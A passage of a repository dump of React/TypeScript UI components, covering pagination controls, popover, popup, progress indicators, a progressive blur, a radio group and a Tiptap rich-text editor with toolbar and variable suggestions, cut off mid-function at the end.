aria-label={incrementAriaLabel}\n        onClick={handleIncrement}\n        disabled={disabled || !canIncrement}\n        className={cn(\n          \"flex h-full w-16 items-center justify-center rounded-lg text-neutral-700 transition-colors\",\n          !(disabled || !canIncrement) &&\n            \"hover:bg-neutral-100 active:bg-neutral-200\",\n        )}\n      >\n        <Plus className=\"block size-4\" />\n      </button>\n    </div>\n  );\n}\n\nexport default NumberStepper;\n"
  },
  {
    "path": "packages/ui/src/pagination-controls.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { PaginationState } from \"@tanstack/react-table\";\nimport { PropsWithChildren } from \"react\";\n\nconst buttonClassName = cn(\n  \"flex h-7 items-center justify-center gap-2 whitespace-nowrap rounded-md border border-neutral-200 bg-white px-2 text-sm text-neutral-600\",\n  \"outline-none hover:bg-neutral-50 focus-visible:border-neutral-500\",\n  \"disabled:cursor-not-allowed disabled:border-neutral-200 disabled:text-neutral-400 disabled:bg-neutral-100\",\n);\n\nexport function PaginationControls({\n  pagination,\n  setPagination,\n  totalCount,\n  unit = (p) => `item${p ? \"s\" : \"\"}`,\n  className,\n  children,\n  showTotalCount = true,\n}: PropsWithChildren<{\n  pagination: PaginationState;\n  setPagination: (pagination: PaginationState) => void;\n  totalCount?: number;\n  unit?: string | ((plural: boolean) => string);\n  className?: string;\n  showTotalCount?: boolean;\n}>) {\n  return (\n    <div\n      className={cn(\n        \"flex items-center justify-between gap-2 text-sm leading-6 text-neutral-600\",\n        className,\n      )}\n    >\n      <div className=\"flex items-center gap-2\">\n        <div>\n          {totalCount === undefined ? (\n            <div className=\"h-5 w-24 animate-pulse rounded-lg bg-neutral-200\" />\n          ) : (\n            <>\n              <span className=\"hidden sm:inline-block\">Viewing</span>{\" \"}\n              {totalCount > 0 && (\n                <>\n                  <span className=\"font-medium\">\n                    {(\n                      (pagination.pageIndex - 1) * pagination.pageSize +\n                      1\n                    ).toLocaleString()}\n                    -\n                    {Math.min(\n                      (pagination.pageIndex - 1) * pagination.pageSize +\n                        pagination.pageSize,\n                      totalCount,\n                    ).toLocaleString()}\n                  </span>{\" \"}\n                  {showTotalCount && \"of \"}\n                </>\n              )}\n              {showTotalCount && (\n                <span className=\"font-medium\">\n                  {totalCount.toLocaleString()}\n                </span>\n              )}{\" \"}\n              {typeof unit === \"function\" ? unit(totalCount !== 1) : unit}\n            </>\n          )}\n        </div>\n        {children}\n      </div>\n      <div className=\"flex items-center gap-2\">\n        <button\n          type=\"button\"\n          className={buttonClassName}\n          onClick={() =>\n            setPagination({\n              ...pagination,\n              pageIndex: pagination.pageIndex - 1,\n            })\n          }\n          disabled={pagination.pageIndex === 1}\n        >\n          Previous\n        </button>\n        <button\n          type=\"button\"\n          className={buttonClassName}\n          onClick={() =>\n            setPagination({\n              ...pagination,\n              pageIndex: pagination.pageIndex + 1,\n            })\n          }\n          disabled={\n            !totalCount ||\n            (pagination.pageIndex - 1) * pagination.pageSize +\n              pagination.pageSize >=\n              totalCount\n          }\n        >\n          Next\n        </button>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/popover.tsx",
    "content": "\"use client\";\n\nimport { cn } from \"@dub/utils\";\nimport * as PopoverPrimitive from \"@radix-ui/react-popover\";\nimport { PropsWithChildren, ReactNode, WheelEventHandler } from \"react\";\nimport { Drawer } from \"vaul\";\nimport { useMediaQuery } from \"./hooks\";\n\nexport type PopoverProps = PropsWithChildren<{\n  content: ReactNode | string;\n  align?: \"center\" | \"start\" | \"end\";\n  side?: \"bottom\" | \"top\" | \"left\" | \"right\";\n  openPopover: boolean;\n  setOpenPopover: (open: boolean) => void;\n  mobileOnly?: boolean;\n  forceDropdown?: boolean;\n  popoverContentClassName?: string;\n  onOpenAutoFocus?: PopoverPrimitive.PopoverContentProps[\"onOpenAutoFocus\"];\n  collisionBoundary?: Element | Element[];\n  sticky?: \"partial\" | \"always\";\n  onEscapeKeyDown?: (event: KeyboardEvent) => void;\n  onWheel?: WheelEventHandler;\n  sideOffset?: number;\n}>;\n\nexport function Popover({\n  children,\n  content,\n  align = \"center\",\n  side = \"bottom\",\n  openPopover,\n  setOpenPopover,\n  mobileOnly,\n  forceDropdown,\n  popoverContentClassName,\n  onOpenAutoFocus,\n  collisionBoundary,\n  sticky,\n  onEscapeKeyDown,\n  onWheel,\n  sideOffset = 8,\n}: PopoverProps) {\n  const { isMobile } = useMediaQuery();\n\n  if (!forceDropdown && (mobileOnly || isMobile)) {\n    return (\n      <Drawer.Root open={openPopover} onOpenChange={setOpenPopover}>\n        <Drawer.Trigger className=\"sm:hidden\" asChild>\n          {children}\n        </Drawer.Trigger>\n        <Drawer.Portal>\n          <Drawer.Overlay className=\"bg-bg-subtle fixed inset-0 z-50 bg-opacity-10 backdrop-blur\" />\n          <Drawer.Content\n            className=\"border-border-subtle bg-bg-default fixed bottom-0 left-0 right-0 z-50 mt-24 rounded-t-[10px] border-t\"\n            onEscapeKeyDown={onEscapeKeyDown}\n            onPointerDownOutside={(e) => {\n              // Prevent dismissal when clicking inside a toast\n              if (\n                e.target instanceof Element &&\n                e.target.closest(\"[data-sonner-toast]\")\n              ) {\n                e.preventDefault();\n              }\n            }}\n          >\n            <div className=\"sticky top-0 z-20 flex w-full items-center justify-center rounded-t-[10px] bg-inherit\">\n              <div className=\"bg-border-default my-3 h-1 w-12 rounded-full\" />\n            </div>\n            <div className=\"bg-bg-default flex w-full items-center justify-center overflow-hidden pb-4 align-middle shadow-xl\">\n              {content}\n            </div>\n          </Drawer.Content>\n          <Drawer.Overlay />\n        </Drawer.Portal>\n      </Drawer.Root>\n    );\n  }\n\n  return (\n    <PopoverPrimitive.Root open={openPopover} onOpenChange={setOpenPopover}>\n      <PopoverPrimitive.Trigger className=\"sm:inline-flex\" asChild>\n        {children}\n      </PopoverPrimitive.Trigger>\n      <PopoverPrimitive.Portal>\n        <PopoverPrimitive.Content\n          sideOffset={sideOffset}\n          align={align}\n          side={side}\n          className={cn(\n            \"animate-slide-up-fade border-border-subtle bg-bg-default z-50 items-center rounded-lg border drop-shadow-lg sm:block\",\n            popoverContentClassName,\n          )}\n          sticky={sticky}\n          collisionBoundary={collisionBoundary}\n          onOpenAutoFocus={onOpenAutoFocus}\n          onEscapeKeyDown={onEscapeKeyDown}\n          onWheel={onWheel}\n        >\n          {content}\n        </PopoverPrimitive.Content>\n      </PopoverPrimitive.Portal>\n    </PopoverPrimitive.Root>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/popup.tsx",
    "content": "import Cookies from \"js-cookie\";\nimport { AnimatePresence } from \"motion/react\";\nimport { ReactNode, createContext, useState } from \"react\";\nimport { ClientOnly } from \"./client-only\";\n\nexport const PopupContext = createContext<{\n  hidePopup: () => void;\n}>({\n  hidePopup: () => {},\n});\n\nexport function Popup({\n  children,\n  hiddenCookieId,\n}: {\n  children: ReactNode;\n  hiddenCookieId: string;\n}) {\n  const [hidden, setHidden] = useState(Cookies.get(hiddenCookieId) === \"1\");\n  const hidePopup = () => {\n    setHidden(true);\n    Cookies.set(hiddenCookieId, \"1\");\n  };\n\n  return (\n    <ClientOnly>\n      <PopupContext.Provider value={{ hidePopup }}>\n        <AnimatePresence>{!hidden && children}</AnimatePresence>\n      </PopupContext.Provider>\n    </ClientOnly>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/progress-bar.tsx",
    "content": "\"use client\";\n\nimport { cn } from \"@dub/utils\";\nimport { motion } from \"motion/react\";\n\nexport function ProgressBar({\n  value = 0,\n  max = 100,\n  className,\n}: {\n  value?: number;\n  max?: number;\n  className?: string;\n}) {\n  return (\n    <div\n      className={cn(\n        \"h-3 w-full overflow-hidden rounded-full bg-neutral-200\",\n        className,\n      )}\n    >\n      <motion.div\n        initial={{ width: 0 }}\n        animate={{\n          width: value && max ? (value / max) * 100 + \"%\" : \"0%\",\n        }}\n        transition={{ duration: 0.5, type: \"spring\", delay: 0.2 }}\n        className={`${\n          value && max && value > max ? \"bg-red-500\" : \"bg-blue-500\"\n        } h-full`}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/progress-circle.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nexport function ProgressCircle({\n  progress: progressProp,\n  strokeWidth = 16,\n  className,\n}: {\n  progress: number;\n  strokeWidth?: number;\n  className?: string;\n}) {\n  const progress = Math.min(Math.max(progressProp, 0), 1);\n\n  const radius = (100 - strokeWidth) / 2;\n  const circumference = radius * Math.PI * 2;\n  const dash = progress * circumference;\n\n  return (\n    <svg\n      width=\"100\"\n      height=\"100\"\n      viewBox=\"0 0 100 100\"\n      className={cn(\n        \"size-3 shrink-0 text-green-600 [--track-color:#e5e5e5]\",\n        className,\n      )}\n    >\n      <circle\n        cx=\"50\"\n        cy=\"50\"\n        r={radius}\n        strokeWidth={`${strokeWidth}px`}\n        fill=\"none\"\n        strokeLinecap=\"round\"\n        className=\"stroke-[var(--track-color)]\"\n      />\n      {progress > 0 && (\n        <circle\n          cx=\"50\"\n          cy=\"50\"\n          r={radius}\n          stroke=\"currentColor\"\n          strokeWidth={`${strokeWidth}px`}\n          fill=\"none\"\n          strokeLinecap=\"round\"\n          strokeDasharray={`${dash} ${circumference - dash}`}\n          style={{\n            transformOrigin: \"50px 50px\",\n            transform: `rotate(-90deg)`,\n          }}\n        />\n      )}\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/progressive-blur.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport React from \"react\";\n\n// Progressive blur component inspired by https://github.com/AndrewPrifer/progressive-blur\n\ntype Side = \"left\" | \"right\" | \"top\" | \"bottom\";\n\nconst oppositeSide: Record<Side, Side> = {\n  left: \"right\",\n  right: \"left\",\n  top: \"bottom\",\n  bottom: \"top\",\n};\n\nconst black = \"rgba(0, 0, 0, 1)\";\nconst transparent = \"rgba(0, 0, 0, 0)\";\n\nexport function ProgressiveBlur({\n  strength = 32,\n  steps = 4,\n  side = \"top\",\n  className,\n  style,\n  ...rest\n}: React.HTMLAttributes<HTMLDivElement> & {\n  /** The strongest blur strength. */\n  strength?: number;\n  /** The number of steps for the blur. More steps is more detailed but computationally expensive. */\n  steps?: number;\n  /** The percentage of blur at the weakest point. */\n  falloffPercentage?: number;\n  /** Which side will have the strongest blur. */\n  side?: Side;\n}) {\n  const step = 100 / steps;\n\n  const factor = 0.5;\n\n  const base = Math.pow(strength / factor, 1 / (steps - 1));\n\n  const getBackdropFilter = (i: number) =>\n    `blur(${factor * base ** (steps - i - 1)}px)`;\n\n  return (\n    <div\n      className={cn(\"pointer-events-none absolute inset-0\", className)}\n      style={{\n        transformOrigin: side,\n        ...style,\n      }}\n      {...rest}\n    >\n      <div\n        className=\"relative z-0 size-full\"\n        style={{\n          background: `linear-gradient(\n            to ${oppositeSide[side]},\n            rgb(from transparent r g b / alpha) 0%,\n            rgb(from transparent r g b / 0%) 100%\n          )`,\n        }}\n      >\n        {/* Full blur at 100 - falloffPercentage */}\n        <div\n          className=\"z-1 absolute inset-0\"\n          style={{\n            mask: `linear-gradient(\n                  to ${oppositeSide[side]},\n                  ${black} 0%,\n                  ${transparent} ${step}%\n                )`,\n            backdropFilter: getBackdropFilter(0),\n            WebkitBackdropFilter: getBackdropFilter(0),\n          }}\n        />\n\n        {steps > 1 && (\n          <div\n            className=\"absolute inset-0 z-[2]\"\n            style={{\n              mask: `linear-gradient(\n                to ${oppositeSide[side]},\n                  ${black} 0%,\n                  ${black} ${step}%,\n                  ${transparent} ${step * 2}%\n                )`,\n              backdropFilter: getBackdropFilter(1),\n              WebkitBackdropFilter: getBackdropFilter(1),\n            }}\n          />\n        )}\n\n        {steps > 2 &&\n          [...Array(steps - 2)].map((_, idx) => (\n            <div\n              key={idx}\n              className=\"absolute inset-0\"\n              style={{\n                zIndex: idx + 2,\n                mask: `linear-gradient(\n                    to ${oppositeSide[side]},\n                    ${transparent} ${idx * step}%,\n                    ${black} ${(idx + 1) * step}%,\n                    ${black} ${(idx + 2) * step}%,\n                    ${transparent} ${(idx + 3) * step}%\n                  )`,\n                backdropFilter: getBackdropFilter(idx + 2),\n                WebkitBackdropFilter: getBackdropFilter(idx + 2),\n              }}\n            />\n          ))}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/radio-group.tsx",
    "content": "\"use client\";\n\nimport * as RadioGroupPrimitive from \"@radix-ui/react-radio-group\";\nimport { Circle } from \"lucide-react\";\nimport * as React from \"react\";\n\nimport { cn } from \"@dub/utils\";\n\nconst RadioGroup = React.forwardRef<\n  React.ElementRef<typeof RadioGroupPrimitive.Root>,\n  React.ComponentPropsWithoutRef<typeof RadioGroupPrimitive.Root>\n>(({ className, ...props }, ref) => {\n  return (\n    <RadioGroupPrimitive.Root\n      className={cn(\"grid gap-2\", className)}\n      {...props}\n      ref={ref}\n    />\n  );\n});\nRadioGroup.displayName = RadioGroupPrimitive.Root.displayName;\n\nconst RadioGroupItem = React.forwardRef<\n  React.ElementRef<typeof RadioGroupPrimitive.Item>,\n  React.ComponentPropsWithoutRef<typeof RadioGroupPrimitive.Item>\n>(({ className, ...props }, ref) => {\n  return (\n    <RadioGroupPrimitive.Item\n      ref={ref}\n      className={cn(\n        \"border-primary text-primary ring-offset-background focus-visible:ring-ring aspect-square h-4 w-4 rounded-full border focus:outline-none focus-visible:ring-2 focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50\",\n        className,\n      )}\n      {...props}\n    >\n      <RadioGroupPrimitive.Indicator className=\"flex items-center justify-center\">\n        <Circle className=\"h-2.5 w-2.5 fill-current text-current\" />\n      </RadioGroupPrimitive.Indicator>\n    </RadioGroupPrimitive.Item>\n  );\n});\nRadioGroupItem.displayName = RadioGroupPrimitive.Item.displayName;\n\nexport { RadioGroup, RadioGroupItem };\n"
  },
  {
    "path": "packages/ui/src/rich-text-area/index.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { EditorContent, EditorContentProps } from \"@tiptap/react\";\nimport { LoadingSpinner } from \"../icons\";\nimport { useRichTextContext } from \"./rich-text-provider\";\n\nexport * from \"./rich-text-provider\";\nexport * from \"./rich-text-toolbar\";\n\nexport function RichTextArea({\n  className,\n  ...rest\n}: Omit<EditorContentProps, \"editor\">) {\n  const { editor, isUploading } = useRichTextContext();\n\n  return (\n    <div\n      className={cn(\n        \"relative\",\n        isUploading && \"pointer-events-none opacity-50\",\n        className,\n      )}\n    >\n      <EditorContent editor={editor} {...rest} />\n\n      {isUploading && (\n        <div className=\"absolute inset-0 flex items-center justify-center\">\n          <LoadingSpinner className=\"size-4\" />\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/rich-text-area/rich-text-provider.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport FileHandler from \"@tiptap/extension-file-handler\";\nimport Image from \"@tiptap/extension-image\";\nimport Link from \"@tiptap/extension-link\";\nimport Mention from \"@tiptap/extension-mention\";\nimport { Placeholder } from \"@tiptap/extensions\";\nimport { Markdown } from \"@tiptap/markdown\";\nimport { Editor, useEditor } from \"@tiptap/react\";\nimport StarterKit from \"@tiptap/starter-kit\";\nimport {\n  PropsWithChildren,\n  createContext,\n  forwardRef,\n  useContext,\n  useImperativeHandle,\n  useMemo,\n  useState,\n} from \"react\";\nimport { suggestions } from \"./variables\";\n\nexport const PROSE_STYLES = {\n  default: \"prose-p:my-2 prose-ul:my-2 prose-ol:my-2\",\n  condensed: \"prose-p:my-0 prose-ul:my-2 prose-ol:my-2\",\n  chat: \"prose-p:my-0 prose-ul:my-2 prose-ol:my-2 [&_p+p]:mt-2\",\n  relaxed: \"\",\n} as const;\n\nconst FEATURES = [\n  \"images\",\n  \"variables\",\n  \"links\",\n  \"headings\",\n  \"bold\",\n  \"italic\",\n  \"strike\",\n] as const;\n\ntype RichTextProviderProps = PropsWithChildren<{\n  placeholder?: string;\n  initialValue?: any;\n  features?: (typeof FEATURES)[number][];\n  markdown?: boolean;\n  style?: keyof typeof PROSE_STYLES;\n  onChange?: (editor: Editor) => void;\n  uploadImage?: (file: File) => Promise<string | null>;\n  variables?: string[];\n  editable?: boolean;\n  autoFocus?: boolean;\n\n  editorProps?: Parameters<typeof useEditor>[0][\"editorProps\"];\n  editorClassName?: string;\n}>;\n\nexport const RichTextContext = createContext<\n  | (Pick<\n      RichTextProviderProps,\n      \"features\" | \"markdown\" | \"variables\" | \"editable\"\n    > & {\n      editor: Editor | null;\n      isUploading: boolean;\n      handleImageUpload:\n        | ((file: File, currentEditor: Editor, pos: number) => Promise<void>)\n        | null;\n    })\n  | null\n>(null);\n\nexport type RichTextAreaProviderRef = {\n  setContent: (content: any) => void;\n};\n\nexport const RichTextProvider = forwardRef<\n  RichTextAreaProviderRef,\n  RichTextProviderProps\n>(\n  (\n    {\n      children,\n      features = FEATURES as any,\n      markdown = false,\n      style = \"default\",\n      placeholder = \"Start typing...\",\n      uploadImage,\n      editable,\n      autoFocus,\n      variables,\n      initialValue,\n      onChange,\n      editorProps,\n      editorClassName,\n    }: RichTextProviderProps,\n    ref,\n  ) => {\n    const [isUploading, setIsUploading] = useState(false);\n\n    const handleImageUpload = useMemo(\n      () =>\n        uploadImage\n          ? async (file: File, currentEditor: Editor, pos: number) => {\n              setIsUploading(true);\n\n              const src = await uploadImage?.(file);\n              if (!src) {\n                setIsUploading(false);\n                return;\n              }\n\n              currentEditor\n                .chain()\n                .insertContentAt(pos, {\n                  type: \"image\",\n                  attrs: {\n                    src,\n                  },\n                })\n                .focus()\n                .run();\n\n              setIsUploading(false);\n            }\n          : null,\n      [uploadImage],\n    );\n\n    const editor = useEditor({\n      editable: editable ?? true, // Explicitly pass `true` to make sure placeholder works\n      autofocus: autoFocus ? \"end\" : false,\n      extensions: [\n        ...(markdown ? [Markdown] : []),\n        StarterKit.configure({\n          heading: features.includes(\"headings\")\n            ? {\n                levels: [1, 2],\n              }\n            : false,\n          bold: features.includes(\"bold\") ? undefined : false,\n          italic: features.includes(\"italic\") ? undefined : false,\n          strike: features.includes(\"strike\") ? undefined : false,\n          link: false,\n        }),\n\n        ...(features.includes(\"links\")\n          ? [\n              Link.extend({\n                inclusive: false,\n              }),\n            ]\n          : []),\n\n        Placeholder.configure({\n          placeholder,\n          emptyEditorClass:\n            \"before:content-[attr(data-placeholder)] before:float-left before:text-content-muted before:h-0 before:pointer-events-none\",\n        }),\n\n        // Images\n        ...(features.includes(\"images\") && handleImageUpload\n          ? [\n              Image.configure({\n                inline: false,\n                HTMLAttributes: {\n                  class: \"rounded-lg max-w-full h-auto\",\n                },\n              }),\n              FileHandler.configure({\n                allowedMimeTypes: [\n                  \"image/png\",\n                  \"image/jpeg\",\n                  \"image/gif\",\n                  \"image/webp\",\n                ],\n                onDrop: (currentEditor, files, pos) => {\n                  files.forEach((file) =>\n                    handleImageUpload(file, currentEditor, pos),\n                  );\n                },\n                onPaste: (currentEditor, files, htmlContent) => {\n                  if (htmlContent) return false;\n                  files.forEach((file) =>\n                    handleImageUpload(\n                      file,\n                      currentEditor,\n                      currentEditor.state.selection.anchor,\n                    ),\n                  );\n                },\n              }),\n            ]\n          : []),\n        ...(features.includes(\"variables\") && variables\n          ? [\n              Mention.extend({\n                addAttributes() {\n                  return {\n                    ...this.parent?.(),\n                    fallback: {\n                      default: null,\n                      parseHTML: (element) =>\n                        element.getAttribute(\"data-fallback\"),\n                      renderHTML: (attrs) =>\n                        attrs.fallback\n                          ? { \"data-fallback\": attrs.fallback }\n                          : {},\n                    },\n                  };\n                },\n                renderHTML({ node }: { node: any }) {\n                  const label = node.attrs.fallback\n                    ? `{{${node.attrs.id} | ${node.attrs.fallback}}}`\n                    : `{{${node.attrs.id}}}`;\n                  return [\n                    \"span\",\n                    {\n                      class:\n                        \"px-1 py-0.5 bg-blue-100 text-blue-700 rounded font-semibold\",\n                      \"data-type\": \"mention\",\n                      \"data-id\": node.attrs.id,\n                      ...(node.attrs.fallback\n                        ? { \"data-fallback\": node.attrs.fallback }\n                        : {}),\n                    },\n                    label,\n                  ];\n                },\n                renderText({ node }: { node: any }) {\n                  return node.attrs.fallback\n                    ? `{{${node.attrs.id} | ${node.attrs.fallback}}}`\n                    : `{{${node.attrs.id}}}`;\n                },\n              }).configure({\n                suggestion: suggestions(variables),\n              }),\n            ]\n          : []),\n      ],\n      editorProps: {\n        attributes: {\n          ...editorProps?.attributes,\n          class: cn(\n            \"max-w-none focus:outline-none\",\n            \"prose prose-sm prose-neutral\",\n            PROSE_STYLES[style],\n            \"[&_.ProseMirror-selectednode]:outline [&_.ProseMirror-selectednode]:outline-2 [&_.ProseMirror-selectednode]:outline-blue-500 [&_.ProseMirror-selectednode]:outline-offset-2\",\n            editorClassName,\n          ),\n        },\n        ...editorProps,\n      },\n      content: initialValue,\n      contentType: markdown ? \"markdown\" : undefined,\n      onUpdate: ({ editor }) => onChange?.(editor),\n      immediatelyRender: false,\n    });\n\n    useImperativeHandle(ref, () => ({\n      setContent: (content: any) => {\n        editor?.commands.setContent(content);\n      },\n    }));\n\n    return (\n      <RichTextContext.Provider\n        value={{\n          features,\n          markdown,\n          editable,\n          variables,\n          editor,\n          isUploading,\n          handleImageUpload,\n        }}\n      >\n        {children}\n      </RichTextContext.Provider>\n    );\n  },\n);\n\nexport function useRichTextContext() {\n  const context = useContext(RichTextContext);\n\n  if (!context)\n    throw new Error(\n      \"useRichTextContext must be used within a RichTextProvider\",\n    );\n\n  return context;\n}\n"
  },
  {
    "path": "packages/ui/src/rich-text-area/rich-text-toolbar.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { useEditorState } from \"@tiptap/react\";\nimport { ReactNode, forwardRef, useRef } from \"react\";\nimport {\n  AtSign,\n  Heading1,\n  Heading2,\n  Hyperlink,\n  Icon,\n  ImageIcon,\n  TextBold,\n  TextItalic,\n  TextStrike,\n} from \"../icons\";\nimport { useRichTextContext } from \"./rich-text-provider\";\n\nexport function RichTextToolbar({\n  toolsStart,\n  toolsEnd,\n  className,\n}: {\n  toolsStart?: ReactNode;\n  toolsEnd?: ReactNode;\n  className?: string;\n}) {\n  const { editor, features, handleImageUpload, isUploading } =\n    useRichTextContext();\n\n  const editorState = useEditorState({\n    editor,\n    selector: ({ editor }) => ({\n      isBold: Boolean(editor?.isActive(\"bold\")),\n      isItalic: Boolean(editor?.isActive(\"italic\")),\n      isStrike: Boolean(editor?.isActive(\"strike\")),\n      isHeading1: Boolean(editor?.isActive(\"heading\", { level: 1 })),\n      isHeading2: Boolean(editor?.isActive(\"heading\", { level: 2 })),\n      isSelection: editor?.state.selection.from !== editor?.state.selection.to,\n    }),\n  });\n\n  const inputImageRef = useRef<HTMLInputElement>(null);\n\n  return (\n    <div\n      className={cn(\n        \"flex gap-1\",\n        isUploading && \"pointer-events-none opacity-50\",\n        className,\n      )}\n    >\n      {toolsStart}\n\n      {features?.includes(\"bold\") && (\n        <RichTextToolbarButton\n          icon={TextBold}\n          label=\"Bold\"\n          isActive={editorState?.isBold}\n          onClick={() => editor?.chain().focus().toggleBold().run()}\n        />\n      )}\n      {features?.includes(\"italic\") && (\n        <RichTextToolbarButton\n          icon={TextItalic}\n          label=\"Italic\"\n          isActive={editorState?.isItalic}\n          onClick={() => editor?.chain().focus().toggleItalic().run()}\n        />\n      )}\n      {features?.includes(\"strike\") && (\n        <RichTextToolbarButton\n          icon={TextStrike}\n          label=\"Strikethrough\"\n          isActive={editorState?.isStrike}\n          onClick={() => editor?.chain().focus().toggleStrike().run()}\n        />\n      )}\n      {features?.includes(\"headings\") && (\n        <>\n          <RichTextToolbarButton\n            icon={Heading1}\n            label=\"Heading 1\"\n            isActive={editorState?.isHeading1}\n            onClick={() =>\n              editor?.chain().focus().toggleHeading({ level: 1 }).run()\n            }\n          />\n          <RichTextToolbarButton\n            icon={Heading2}\n            label=\"Heading 2\"\n            isActive={editorState?.isHeading2}\n            onClick={() =>\n              editor?.chain().focus().toggleHeading({ level: 2 }).run()\n            }\n          />\n        </>\n      )}\n      {features?.includes(\"links\") && <LinkButton />}\n      {features?.includes(\"variables\") && (\n        <RichTextToolbarButton\n          icon={AtSign}\n          label=\"Variable\"\n          isActive={false}\n          onClick={() => {\n            if (editor?.state.selection.$from.nodeBefore?.text?.endsWith(\"@\")) {\n              editor?.commands.focus();\n              return;\n            }\n            editor?.chain().focus().insertContent(\"@\").run();\n          }}\n        />\n      )}\n\n      {features?.includes(\"images\") && handleImageUpload && editor && (\n        <>\n          <input\n            ref={inputImageRef}\n            type=\"file\"\n            className=\"hidden\"\n            onChange={(e) => {\n              const file = e.target.files?.[0];\n              if (!file) return;\n\n              handleImageUpload(file, editor, editor.state.selection.anchor);\n              e.target.value = \"\";\n            }}\n          />\n          <RichTextToolbarButton\n            icon={ImageIcon}\n            label=\"Image\"\n            isActive={false}\n            onClick={() => inputImageRef.current?.click()}\n          />\n        </>\n      )}\n\n      {toolsEnd}\n    </div>\n  );\n}\n\nfunction LinkButton() {\n  const { editor } = useRichTextContext();\n\n  const editorState = useEditorState({\n    editor,\n    selector: ({ editor }) => ({\n      isSelection: editor?.state.selection.from !== editor?.state.selection.to,\n    }),\n  });\n\n  return (\n    <RichTextToolbarButton\n      icon={Hyperlink}\n      label=\"Link\"\n      onClick={() => {\n        if (!editor) return;\n        const previousUrl = editor.getAttributes(\"link\").href;\n\n        const url = window.prompt(\"Link URL\", previousUrl);\n\n        if (!url?.trim()) {\n          editor.chain().focus().extendMarkRange(\"link\").unsetLink().run();\n          return;\n        }\n\n        editor\n          .chain()\n          .focus()\n          .extendMarkRange(\"link\")\n          .setLink({ href: url })\n          .run();\n      }}\n      disabled={!editorState?.isSelection}\n    />\n  );\n}\n\ntype RichTextToolbarButtonProps = {\n  icon: Icon;\n  label?: string;\n  isActive?: boolean;\n  onClick?: () => void;\n  disabled?: boolean;\n};\n\nexport const RichTextToolbarButton = forwardRef<\n  HTMLButtonElement,\n  RichTextToolbarButtonProps\n>(\n  (\n    {\n      icon: Icon,\n      label,\n      isActive,\n      onClick,\n      disabled,\n    }: RichTextToolbarButtonProps,\n    ref,\n  ) => {\n    return (\n      <button\n        ref={ref}\n        type=\"button\"\n        onClick={onClick}\n        disabled={disabled}\n        className={cn(\n          \"flex size-8 items-center justify-center rounded-md transition-colors duration-150 disabled:opacity-50\",\n          isActive\n            ? \"bg-neutral-200\"\n            : \"hover:bg-neutral-50 active:bg-neutral-100\",\n        )}\n        title={label}\n      >\n        <Icon className=\"size-4 shrink-0 text-neutral-700\" />\n        {label && <span className=\"sr-only\">{label}</span>}\n      </button>\n    );\n  },\n);\n"
  },
  {
    "path": "packages/ui/src/rich-text-area/variables.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { computePosition, flip, shift } from \"@floating-ui/dom\";\nimport { Editor, posToDOMRect, ReactRenderer } from \"@tiptap/react\";\nimport {\n  forwardRef,\n  useEffect,\n  useImperativeHandle,\n  useRef,\n  useState,\n} from \"react\";\nimport { Button } from \"../button\";\nimport { Input } from \"../input\";\n\nconst updatePosition = (editor: Editor, element: HTMLElement) => {\n  const virtualElement = {\n    getBoundingClientRect: () =>\n      posToDOMRect(\n        editor.view,\n        editor.state.selection.from,\n        editor.state.selection.to,\n      ),\n  };\n\n  computePosition(virtualElement, element, {\n    placement: \"bottom-start\",\n    strategy: \"absolute\",\n    middleware: [shift(), flip()],\n  }).then(({ x, y, strategy }) => {\n    element.style.width = \"max-content\";\n    element.style.position = strategy;\n    element.style.left = `${x}px`;\n    element.style.top = `${y}px`;\n  });\n};\n\nexport const suggestions = (variables: string[]) => ({\n  items: ({ query }: { query: string }) => {\n    const q = query.trim().toLowerCase();\n    if (!q) return variables.slice(0, 5);\n    return variables\n      .filter((item) => item.toLowerCase().includes(q))\n      .sort((a, b) => {\n        const al = a.toLowerCase();\n        const bl = b.toLowerCase();\n        const aPrefix = al.startsWith(q) ? 0 : 1;\n        const bPrefix = bl.startsWith(q) ? 0 : 1;\n        if (aPrefix !== bPrefix) return aPrefix - bPrefix;\n        return a.localeCompare(b);\n      })\n      .slice(0, 5);\n  },\n\n  render: () => {\n    let component: any;\n\n    return {\n      onStart: (props: {\n        editor: Editor;\n        clientRect?: (() => DOMRect | null) | null;\n        command?: (props: any) => void;\n      }) => {\n        component = new ReactRenderer(Menu, {\n          props,\n          editor: props.editor,\n        });\n\n        if (!props.clientRect) return;\n\n        component.element.style.position = \"absolute\";\n\n        document.body.appendChild(component.element);\n\n        updatePosition(props.editor, component.element);\n      },\n\n      onUpdate(props: any) {\n        component.updateProps(props);\n\n        if (!props.clientRect) return;\n\n        updatePosition(props.editor, component.element);\n      },\n\n      onKeyDown(props: any) {\n        const handled = component.ref?.onKeyDown(props);\n        if (handled) return true;\n\n        if (props.event.key === \"Escape\") {\n          component.destroy();\n          return true;\n        }\n\n        return false;\n      },\n\n      onExit() {\n        component.element.remove();\n        component.destroy();\n      },\n    };\n  },\n});\n\nconst menuItemClassName = cn(\n  \"flex cursor-pointer select-none items-center gap-2 whitespace-nowrap rounded-md px-2 py-1 font-mono text-sm text-neutral-950\",\n  \"data-[selected=true]:bg-neutral-100\",\n);\n\nconst Menu = forwardRef(\n  (\n    {\n      items,\n      command,\n    }: {\n      items: string[];\n      command: (props: any) => void;\n    },\n    ref,\n  ) => {\n    const [selectedIndex, setSelectedIndex] = useState(0);\n    const [pendingVar, setPendingVar] = useState<string | null>(null);\n    const [fallback, setFallback] = useState(\"\");\n    const inputRef = useRef<HTMLInputElement>(null);\n\n    const upHandler = () => {\n      setSelectedIndex((selectedIndex + items.length - 1) % items.length);\n    };\n\n    const downHandler = () => {\n      setSelectedIndex((selectedIndex + 1) % items.length);\n    };\n\n    const selectVar = (item: string) => {\n      if (item !== \"PartnerName\") 